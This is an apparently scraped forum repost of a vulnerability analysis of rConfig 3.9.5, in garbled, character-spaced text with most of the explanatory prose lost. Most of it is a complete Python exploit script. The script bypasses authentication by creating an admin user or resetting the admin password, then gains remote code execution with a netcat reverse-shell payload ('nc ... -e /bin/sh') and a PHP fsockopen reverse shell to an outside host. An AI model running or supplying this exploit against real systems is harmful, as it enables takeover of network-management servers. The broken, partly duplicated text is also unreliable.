[15974] 2020-10-16_rConfig中的远程代码执行漏洞分析

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-10-16_rConfig中的远程代码执行漏洞分析 r C o n f i g A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 0 - 1 6 r C o n f i g r C o n f i g r C o n f i g R C E r C o n f i g   v 3 . 9 6 v 3 . 9 . 6 v 3 . 9 . 5 v 3 . 9 . 6 a j a x A r c h i v e F i l e s . p h p   R C E / h o m e / r c o n f i g / w w w / l i b / a j a x H a n d l e r s / a j a x A r c h i v e F i l e s . p h p e x t a j a x E d i t T e m p l a t e . p h p   R C E r C o n f i g P H P . . / w w w / t e s t . p h p 访 . y m l r C o n f i g h t t p s : / / r c o n f i g / t e s t . p h p . y m l 访 t e s t . p h p
u p d a t e r . p h p   R C E R C E h t t p s : / / r c o n f i g / u p d a t e r . p h p ? c h k = 1 u p d a t e r . p h p r C o n f i g   Z I P P H P   W e b S h e l l Z I P a d m i n : a d m i n W e b S h e l l N i c e u s e r p r o c e s s . p h p / h o m e / r c o n f i g / w w w / l i b / c r u d / u s e r p r o c e s s . p h p u l e v e l i d   =   9 :
u s e r a d m i n . i n c . p h p h t t p s : / / r c o n f i g / u s e r a d m i n . i n c . p h p r C o n f i g
i m p o r t   r e q u e s t s f r o m   r e q u e s t s _ t o o l b e l t . m u l t i p a r t . e n c o d e r   i m p o r t   M u l t i p a r t E n c o d e r i m p o r t   u r l l i b 3 i m p o r t   r e # f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) u r l = " h t t p s : / / x . x . x . x / "   # c h a n g e   t h i s   t o   f i t   y o u r   U R L   ( a d d i n g   t h e   l a s t   s l a s h ) p a y l o a d = " n c   y . y . y . y   9 0 0 1   - e   / b i n / s h "     # c h a n g e   t h i s   t o   w h a t e v e r   p a y l o a d   y o u   w a n t p a y l o a d _ r c e =   " f i l e N a m e = . . / w w w / t e s t . p h p & c o d e = < % 3 f p h p + e c h o + s y s t e m ( ' l s ' ) % 3 b % 3 f > & i d = 3 "   # i f   y o u   w a n t   t o   u s e   M e t h o d   2   f o r   R C E ,   u s e   a   P H P ,   u r l e n c o d e d   p a y l o a d   a s   t h e   v a l u e   o f   t h e   c o d e   p a r a m e t e r p r i n t ( " C o n n e c t i n g   t o :   { } " . f o r m a t ( u r l ) ) p r i n t ( " C o n n e c t   b a c k   i s   s e t   t o :   { } ,   p l e a s e   l a u n c h   ' n c   - l v   9 0 0 1 ' " . f o r m a t ( p a y l o a d ) ) x   =   r e q u e s t s . g e t ( u r l + " l o g i n . p h p " ,   v e r i f y = F a l s e ) v e r s i o n   =   r e . s e a r c h ( " < p > ( . * ) < s p a n > " ,   x . t e x t ) v e r s i o n   =   v e r s i o n . g r o u p ( 1 ) i f   v e r s i o n   = =   " r C o n f i g   V e r s i o n   3 . 9 . 5 " :       p r i n t ( " V e r s i o n   3 . 9 . 5   c o n f i r m e d " ) e l s e :       p r i n t ( " V e r s i o n   i s   " + v e r s i o n +   "   i t   m a y   n o t   b e   v u l n e r a b l e " ) p a y l o a d _ f i n a l = " ; " + p a y l o a d r e f e r e r = u r l + " u s e r a d m i n . p h p " o r i g i n = u r l p r o x i e s   =   { " h t t p " :   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 " ,   " h t t p s " :   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 " }   # i n   c a s e   y o u   n e e d   t o   d e b u g   t h e   e x p l o i t   w i t h   B u r p ,   a d d   ' ,   p r o x i e s = p r o x i e s '   t o   a n y   r e q u e s t d e f   c r e a t e u s e r ( ) :         m u l t i p a r t _ d a t a   =   M u l t i p a r t E n c o d e r (               f i e l d s = {                               ' u s e r n a m e ' :   ' t e s t ' ,                               ' p a s s w o r d ' :   ' T e s t i n g 1 @ ' ,   # p a s s w o r d   s h o u l d   h a v e   a   c a p i t a l   l e t t e r ,   l o w e r c a s e ,   n u m b e r   a n d   a   s y m b o l                               ' p a s s c o n f ' :   ' T e s t i n g 1 @ ' ,                               ' e m a i l ' :   ' t e s t @ t e s t . c o m ' ,                               ' u l e v e l i d ' :   ' 9 ' ,                               ' a d d ' :   ' a d d ' ,                               ' e d i t i d ' :   ' '                             }               )         h e a d e r s   =   { ' C o n t e n t - T y p e ' :   m u l t i p a r t _ d a t a . c o n t e n t _ t y p e ,   " U p g r a d e - I n s e c u r e - R e q u e s t s " :   " 1 " ,   " R e f e r e r " :   r e f e r e r ,   " O r i g i n " : o r i g i n }         c o o k i e s   =   { ' P H P S E S S I D ' :   ' t e s t ' }         r e s p o n s e   =   r e q u e s t s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = m u l t i p a r t _ d a t a ,   v e r i f y = F a l s e ,   c o o k i e s = c o o k i e s ,   h e a d e r s = h e a d e r s ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   " e r r o r "   n o t   i n   r e s p o n s e . t e x t :                 p r i n t ( " ( + )   U s e r   t e s t   c r e a t e d " )         e l s e :                 p r i n t ( " ( - )   U s e r   c o u l d n ' t   b e   c r e a t e d ,   p l e a s e   d e b u g   t h e   e x p l o i t " )
                p r i n t ( " ( - )   U s e r   c o u l d n ' t   b e   c r e a t e d ,   p l e a s e   d e b u g   t h e   e x p l o i t " ) d e f   e x p l o i t ( ) :         p a y l o a d   =   {         ' u s e r ' :   ' t e s t ' ,         ' p a s s ' :   ' T e s t i n g 1 @ ' ,         ' s u b l o g i n ' :   ' 1 ' }         w i t h   r e q u e s t s . S e s s i o n ( )   a s   s :                   p   =   s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )                   i f   " S t e p h e n   S t a c k "   i n   p . t e x t :                         p r i n t ( " ( - )   E x p l o i t   f a i l e d ,   c o u l d   n o t   l o g i n   a s   u s e r   t e s t " )                   e l s e :                         p r i n t ( " ( + )   L o g   i n   a s   t e s t   c o m p l e t e d " )                         p a r a m s   =   { ' p a t h ' : ' t e s t ' ,                                             ' e x t ' :   p a y l o a d _ f i n a l                                           }                         r c e = s . g e t ( u r l + ' l i b / a j a x H a n d l e r s / a j a x A r c h i v e F i l e s . p h p ' ,   v e r i f y = F a l s e ,   p a r a m s = p a r a m s )                         i f   " s u c c e s s "   i n   r c e . t e x t :                                 p r i n t ( " ( + )   P a y l o a d   e x e c u t e d   s u c c e s s f u l l y " )                         e l s e :                                 p r i n t ( " ( - )   E r r o r   w h e n   e x e c u t i n g   p a y l o a d ,   p l e a s e   d e b u g   t h e   e x p l o i t " )   # i f   y o u   u s e d   m e t h o d   2   t o   a u t h   b y p a s s   a n d   1   f o r   R C E ,   i g n o r e   t h i s   m e s s a g e         p a y l o a d   =   {         ' u s e r ' :   ' a d m i n ' ,         ' p a s s ' :   ' T e s t i n g 1 @ ' ,         ' s u b l o g i n ' :   ' 1 ' }         w i t h   r e q u e s t s . S e s s i o n ( )   a s   s :                   p   =   s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )                   i f   " S t e p h e n   S t a c k "   i n   p . t e x t :                         p r i n t ( " ( - )   E x p l o i t   f a i l e d ,   c o u l d   n o t   l o g i n   a s   u s e r   t e s t " )                   e l s e :                         p r i n t ( " ( + )   L o g   i n   a s   t e s t   c o m p l e t e d " )                         p a r a m s   =   { ' p a t h ' : ' t e s t ' ,                                             ' e x t ' :   p a y l o a d _ f i n a l                                           }                         r c e = s . g e t ( u r l + ' l i b / a j a x H a n d l e r s / a j a x A r c h i v e F i l e s . p h p ' ,   v e r i f y = F a l s e ,   p a r a m s = p a r a m s )                         i f   " s u c c e s s "   i n   r c e . t e x t :                                 p r i n t ( " ( + )   P a y l o a d   e x e c u t e d   s u c c e s s f u l l y " )                         e l s e :                                 p r i n t ( " ( - )   E r r o r   w h e n   e x e c u t i n g   p a y l o a d ,   p l e a s e   d e b u g   t h e   e x p l o i t " ) d e f   u s e r _ e n u m _ u p d a t e ( ) :
        u s e r s = r e q u e s t s . g e t ( u r l + ' u s e r a d m i n . i n c . p h p ' ,   v e r i f y = F a l s e )         # m a t c h O b j   =   r e . f i n d a l l ( r ' < t d   a l i g n = " c e n t e r " > ( . * ? ) < / t d > ' ,   u s e r s . t e x t ,   r e . M | r e . I | r e . S )         i f   " a d m i n "   i n   u s e r s . t e x t :             p r i n t ( " ( + )   T h e   a d m i n   u s e r   i s   p r e s e n t   i n   t h i s   r C o n f i g   i n s t a n c e " )             m u l t i p a r t _ d a t a   =   M u l t i p a r t E n c o d e r (               f i e l d s = {                               ' u s e r n a m e ' :   ' a d m i n ' ,                               ' p a s s w o r d ' :   ' T e s t i n g 1 @ ' ,   # p a s s w o r d   s h o u l d   h a v e   a   c a p i t a l   l e t t e r ,   l o w e r c a s e ,   n u m b e r   a n d   a   s y m b o l                               ' p a s s c o n f ' :   ' T e s t i n g 1 @ ' ,                               ' e m a i l ' :   ' a d m i n @ a d m i n . c o m ' ,                               ' u l e v e l i d ' :   ' 9 ' ,                               ' a d d ' :   ' a d d ' ,                               ' e d i t i d ' :   ' 1 '   # y o u   m a y   n e e d   t o   i n c r e m e n t   t h i s   i f   y o u   w a n t   t o   r e s e t   t h e   p a s s w o r d   o f   a   d i f f e r e n t   u s e r                             }               )             h e a d e r s   =   { ' C o n t e n t - T y p e ' :   m u l t i p a r t _ d a t a . c o n t e n t _ t y p e ,   " U p g r a d e - I n s e c u r e - R e q u e s t s " :   " 1 " ,   " R e f e r e r " :   r e f e r e r ,   " O r i g i n " : o r i g i n }             c o o k i e s   =   { ' P H P S E S S I D ' :   ' t e s t ' }             r e s p o n s e   =   r e q u e s t s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = m u l t i p a r t _ d a t a ,   v e r i f y = F a l s e ,   c o o k i e s = c o o k i e s ,   h e a d e r s = h e a d e r s ,   a l l o w _ r e d i r e c t s = F a l s e )             i f   " e r r o r "   n o t   i n   r e s p o n s e . t e x t :                     p r i n t ( " ( + )   T h e   n e w   p a s s w o r d   f o r   t h e   a d m i n   u s e r   i s   T e s t i n g 1 @ " )             e l s e :                     p r i n t ( " ( - )   A d m i n   u s e r   c o u l d n ' t   b e   e d i t e d ,   p l e a s e   d e b u g   t h e   e x p l o i t " )         e l i f     " A d m i n "   i n   u s e r s . t e x t :               p r i n t ( " ( + )   T h e r e   i s   a t   l e a s t   o n e   A d m i n   u s e r ,   c h e c k   " +   s t r ( u r l ) + " u s e r a d m i n . i n c . p h p   m a n u a l l y   a n d   m o d i f y   t h e   e x p l o i t   a c c o r d i n g l y   ( e r a s e   t h e   i f - e l i f   s t a t e m e n t s   o f   t h i s   f u n c t i o n   a n d   m o d i f y   t h e   u s e r   p a y l o a d ) " d e f   t e m p l a t e ( ) :         p a y l o a d   =   {         ' u s e r ' :   ' a d m i n ' ,         ' p a s s ' :   ' T e s t i n g 1 @ ' ,         ' s u b l o g i n ' :   ' 1 ' }         # < % 3 f p h p + % 2 4 s o c k % 3 D f s o c k o p e n % 2 8 % 2 2 1 9 2 . 1 6 8 . 1 . 1 3 % 2 2 % 2 C 1 2 3 4 % 2 9 % 3 B e x e c % 2 8 % 2 2 % 2 F b i n % 2 F s h % 2 0 - i % 2 0 % 3 C % 2 6 3 % 2 0 % 3 E % 2 6 3 % 2 0 2 % 3 E % 2 6 3 % 2 2 % 2 9 % 3 B % 3 f >         h e a d e r s _ r c e   =   { ' C o n t e n t - T y p e ' :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F - 8 " ,   " R e f e r e r " :   u r l + " d e v i c e C o n n T e m p l a t e s . p h p " ,   " O r i g i n " : o r i g i n ,   " X - R e q u e s t e d - W i t h " :   " X M L H t t p R e q u e s t "         w i t h   r e q u e s t s . S e s s i o n ( )   a s   s :                   p   =   s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )                   i f   " S t e p h e n   S t a c k "   i n   p . t e x t :                         p r i n t ( " ( - )   E x p l o i t   f a i l e d ,   c o u l d   n o t   l o g i n   a s   u s e r   t e s t " )                   e l s e :                         p r i n t ( " ( + )   L o g   i n   a s   a d m i n   c o m p l e t e d " )                         r c e = s . p o s t ( u r l + ' l i b / a j a x H a n d l e r s / a j a x E d i t T e m p l a t e . p h p ' ,   v e r i f y = F a l s e ,   d a t a = p a y l o a d _ r c e ,   h e a d e r s = h e a d e r s _ r c e )                         i f   " s u c c e s s "   i n   r c e . t e x t :
                                p r i n t ( " ( + )   F i l e   c r e a t e d " )                                 r c e _ r e q   =   s . g e t ( u r l + ' t e s t . p h p . y m l ' ,   v e r i f y = F a l s e )                                 p r i n t ( " ( + )   C o m m a n d   r e s u l t s :   " )                                 p r i n t ( r c e _ r e q . t e x t )                         e l s e :                                 p r i n t ( " ( - )   E r r o r   w h e n   e x e c u t i n g   p a y l o a d ,   p l e a s e   d e b u g   t h e   e x p l o i t " ) d e f   m a i n ( ) :         p r i n t ( " R e m o t e   C o d e   E x e c u t i o n   +   A u t h   b y p a s s   r C o n f i g   3 . 9 . 5   b y   D a n i e l   M o n z ó n " )         p r i n t ( " I n   t h e   l a s t   s t a g e   i f   y o u r   p a y l o a d   i s   a   r e v e r s e   s h e l l ,   t h e   e x p l o i t   m a y   n o t   l a u n c h   t h e   s u c c e s s   m e s s a g e ,   b u t   c h e c k   y o u r   n e t c a t   ; ) " )         p r i n t ( " N o t e :   p r e f e r r e d   m e t h o d   f o r   a u t h   b y p a s s   i s   1 ,   b e c a u s e   i t   i s   l e s s   ' i n v a s i v e ' " )         p r i n t ( " N o t e 2 :   p r e f e r r e d   m e t h o d   f o r   R C E   i s   2 ,   a s   i t   d o e s   n o t   n e e d   y o u   t o   k n o w   i f ,   f o r   e x a m p l e ,   n e t c a t   h a s   b e e n   i n s t a l l e d   i n   t h e   t a r g e t   m a c h i n e " )         p r i n t ( ' ' ' C h o o s e   m e t h o d   f o r   a u t h e n t i c a t i o n   b y p a s s :                 1 )   U s e r   c r e a t i o n                 2 )   U s e r   e n u m e r a t i o n   +   U s e r   e d i t   ' ' ' )         a u t h _ b y p a s s = s t r ( i n p u t ( " M e t h o d > " ) )         i f   a u t h _ b y p a s s   = =   " 1 " :               c r e a t e u s e r ( )         e l i f   a u t h _ b y p a s s   = =   " 2 " :               u s e r _ e n u m _ u p d a t e ( )         p r i n t ( ' ' ' C h o o s e   m e t h o d   f o r   R C E :                 1 )   U n s a f e   c a l l   t o   e x e c ( )                 2 )   T e m p l a t e   e d i t   ' ' ' )         r c e _ m e t h o d = s t r ( i n p u t ( " M e t h o d > " ) )         i f   r c e _ m e t h o d   = =   " 1 " :               e x p l o i t ( )         e l i f   r c e _ m e t h o d   = =   " 2 " :               t e m p l a t e ( ) m a i n ( )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则